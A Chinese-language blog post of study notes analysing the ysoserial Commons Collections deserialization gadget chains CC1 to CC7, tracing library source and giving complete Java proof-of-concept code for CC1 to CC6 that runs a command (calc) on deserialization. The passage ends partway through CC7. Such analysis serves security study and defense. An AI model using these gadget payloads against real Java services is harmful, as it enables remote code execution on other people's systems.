前言

整理了一下之前的笔记,文中不对一些前置知识进行科普,如javassist、动态代理等,如果不了解的同学可以自行百度哈。

分析

CommonsCollections1

ysoserial给出调用栈如下:

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

我们先从最底下调用Runtime.exec的地方开始,跟进org.apache.commons.collections.functors.InvokerTransformer#transform,可以看到有反射的调用,所以我们需要寻找对此方法调用的地方

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

跟进org.apache.commons.collections.functors.ChainedTransformer#transform此处的iTransformers我们可以在ChainedTransformer实例化的时候传进去,进而可以达到调用org.apache.commons.collections.functors.InvokerTransformer#transform的目的

private final Transformer[] iTransformers;

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

//省略部分代码

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

跟进org.apache.commons.collections.map.LazyMap#get,此处的this.factory我们可以通过org.apache.commons.collections.map.LazyMap#decorate将我们的org.apache.commons.collections.functors.ChainedTransformer的实例传进去

protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

protected LazyMap(Map map, Factory factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = FactoryTransformer.getInstance(factory);
    }
}

//省略部分代码

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

所以我们怎么样才能调用org.apache.commons.collections.map.LazyMap#get呢,看到ysoserial给调用栈,跟进sun.reflect.annotation.AnnotationInvocationHandler#invoke,可以看到此处的memberValues为一个Map,且invoke方法中有this.memberValues.get(var4),也就是说我们可以通过invoke调用到org.apache.commons.collections.map.LazyMap#get

private final Map<String, Object> memberValues;

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else if (var5.length != 0) {
        throw new AssertionError("Too many parameters for an annotation method");
    } else {
        //省略部分代码

        switch(var7) {
        case 0:
            return this.toStringImpl();
        case 1:
            return this.hashCodeImpl();
        case 2:
            return this.type;
        default:
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                throw ((ExceptionProxy)var6).generateException();
            } else {
                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                    var6 = this.cloneArray(var6);
                }

                return var6;
            }
        }
    }
}

怎么样才能触发invoke方法呢,回到最初触发反序列化的地方sun.reflect.annotation.AnnotationInvocationHandler#readObject,可以看到this.memberValues.entrySet().iterator(),如果此处的this.memberValues是通过动态代理构建的,那么当this.memberValues进行方法调用时是使用代理类的invoke方法进行调用的,并且sun.reflect.annotation.AnnotationInvocationHandler#readObject实现InvocationHandler接口,所以整个攻击链就行形成了(不得不佩服作者的Java功底Orz)

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    //省略部分代码
}

最终POC如下:

package CommonsCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap=LazyMap.decorate(map,chainedTransformer);

        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map map1=(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,map1);

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("test.out")));
        objectOutputStream.writeObject(object);

        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("test.out"));
        objectInputStream.readObject();
    }
}

CommonsCollections2

ysoserial的给出的调用链如下:

Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

跟进java.util.PriorityQueue#readObject,可以看到将对象读取之后,会调用java.util.PriorityQueue#heapify对堆进行调整,在heapify处打一个断点对ysoserial进行调试

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

跟进java.util.PriorityQueue#heapify,其中queue数组为我们传入的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的实例

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

跟进java.util.PriorityQueue#siftDown,如果comparator不为空则使用自定义的comparator对元素进行筛选

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

跟进java.util.PriorityQueue#siftDownUsingComparator,可以看到这里使用了comparator.compare进行比较,此处的comparator.compareorg.apache.commons.collections4.comparators.TransformingComparator#compare

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

跟进org.apache.commons.collections4.comparators.TransformingComparator#compare,可以看到此处又是对this.transformer.transform调用

private final Transformer<? super I, ? extends O> transformer;

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

然后这里是通过InvokerTransformer.transform调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer

public O transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class<?> cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var4) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
        }
    }
}

跟进com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplnewTransformer方法,此处的getTransletInstance会获取我们传入的字节码的实例

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

跟进com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance,此处的_class为空,会进入com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses_class进行一个赋值

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setOverrideDefaultParser(_overrideDefaultParser);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

跟进defineTransletClasses,可以看到循环那里将_bytecodes(也就是我们构造的恶意字节码)通过Classloader加载之后传给_class

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {

            //省略部分代码
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]); //通过loader将字节码动态构建类到_class中
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
            //省略部分代码
        }
        //省略部分代码
    }

然后回到getTransletInstanceAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()此处对我们恶意字节码中的类进行了实例化,进而触发了RCE。

POC如下:

package CommonsCollections;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections2 {

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator=new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

CommonsCollections3

Commons Collections3算是Commons Collections1Commons Collections2两个攻击链的结合吧,理解了1和2这个应该不难理解

2中是通过InvokerTransformer去触发com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplnewTransformer方法,而3是通过InstantiateTransformer实例化com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter触发构造方法进而触发com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplnewTransformer方法

跟进InstantiateTransformertransform方法,可以看到con.newInstance(this.iArgs),对con进行了一个实例化,也就是此处会对com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter进行一个实例化

public Object transform(Object input) {
    try {
        if (!(input instanceof Class)) {
            throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
        } else {
            Constructor con = ((Class)input).getConstructor(this.iParamTypes);
            return con.newInstance(this.iArgs);
        }
    } catch (NoSuchMethodException var6) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException var7) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
    } catch (IllegalAccessException var8) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
    } catch (InvocationTargetException var9) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
    }
}

跟进com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter构造方法,可以看到此处_transformer = (TransformerImpl) templates.newTransformer()触发了TransformerImplnewTransformer方法,

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

然后触发InstantiateTransformertransform方法和1一样也是通过动态代理的,这里就不多赘述了

POC如下:

package CommonsCollections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");

        InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap=LazyMap.decorate(map,chainedTransformer);

        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map map1=(Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,map1);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(object);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }
}

CommonsCollections4

利用链和2一样,只不过是把 InvokerTransformer换成了InstantiateTransformer

package CommonsCollections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.Transformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections4 {

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");

        InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        TransformingComparator comparator=new TransformingComparator(chainedTransformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

CommonsCollections5

ysoserial中给出的调用栈如下:

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

跟进javax.management.BadAttributeValueExpException#readObject,此处Object valObj = gf.get("val", null);之后,valObj就是我们传入org.apache.commons.collections.keyvalue.TiedMapEntry的实例,不过需要System.getSecurityManager() == null,幸运的是,默认情况下,SecurityManager是关闭的。

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

此处是org.apache.commons.collections.keyvalue.TiedMapEntry#toStringorg.apache.commons.collections.keyvalue.TiedMapEntry#getValue,然后又是LazyMap.get

private final Map map;

public Object getValue() {
    return this.map.get(this.key);
}

public String toString() {
    return this.getKey() + "=" + this.getValue();
}

之后又是一样的操作了,最终POC如下:

package CommonsCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;
import java.util.Map;

public class CommonsCollections5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap=LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("test.out")));
        objectOutputStream.writeObject(badAttributeValueExpException);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
        objectInputStream.readObject();

    }

}

需要注意的这里不能在BadAttributeValueExpException实例化的时候传入entry,而是通过反射赋值

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);

因为如果是在实例化的时候传入entry,此时this.val = val.toString()就是一串字符串

public String toString()  {
    return "BadAttributeValueException: " + val;
}

public BadAttributeValueExpException (Object val) {
    this.val = val == null ? null : val.toString();
}

CommonsCollections6

CommonsCollections6和5差不多,ysoserial中给出调用链如下:

Gadget chain:
    java.io.ObjectInputStream.readObject()
        java.util.HashSet.readObject()
            java.util.HashMap.put()
            java.util.HashMap.hash()
                org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                    org.apache.commons.collections.map.LazyMap.get()
                        org.apache.commons.collections.functors.ChainedTransformer.transform()
                        org.apache.commons.collections.functors.InvokerTransformer.transform()
                        java.lang.reflect.Method.invoke()
                            java.lang.Runtime.exec()

CommonsCollections6CommonsCollections5不同的是,6是将BadAttributeValueExpException换成了HashSet

跟进java.util.HashSet#readObject

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        //省略部分代码

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

跟进java.util.HashMap#put

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

跟进java.util.HashMap#hash

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

跟进org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode

public int hashCode() {
    Object value = this.getValue();
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

跟进org.apache.commons.collections.keyvalue.TiedMapEntry#getValue,可以看到这里又调用了我们熟悉的LazyMap.get

public Object getValue() {
    return this.map.get(this.key);
}

POC如下:

package CommonsCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        Map map=new HashMap();
        Map lazyMap=LazyMap.decorate(map,Testtransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

        HashSet hashSet=new HashSet(1);
        hashSet.add(tiedMapEntry);
        lazyMap.remove("test1");

        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(Testtransformer, transformers);

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        objectOutputStream.writeObject(hashSet);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
        objectInputStream.readObject();

    }

}

另外还有一种利用方法是,在java.util.HashMap#readObject中直接调用hash,直接省去了前面HashSet调用的前几步,也就是说我们可以直接用HashMap即可,并不需要HashSet

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    //省略部分

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

HashMap的POC是将

HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");

替换为:

HashMap hashMap=new HashMap();
hashMap.put(tiedMapEntry,"test2");
lazyMap.remove("test1");

CommonsCollections7

ysoserial给出的调用栈如下:

/*
    Payload method chain:

    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
*/

跟进java.util.Hashtable#readObject

private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        //省略部分代码

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // sync is eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

跟进java.util.Hashtable#reconstitutionPut,此处put的时候通过hashCodeequals判断是否存在hash冲突

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
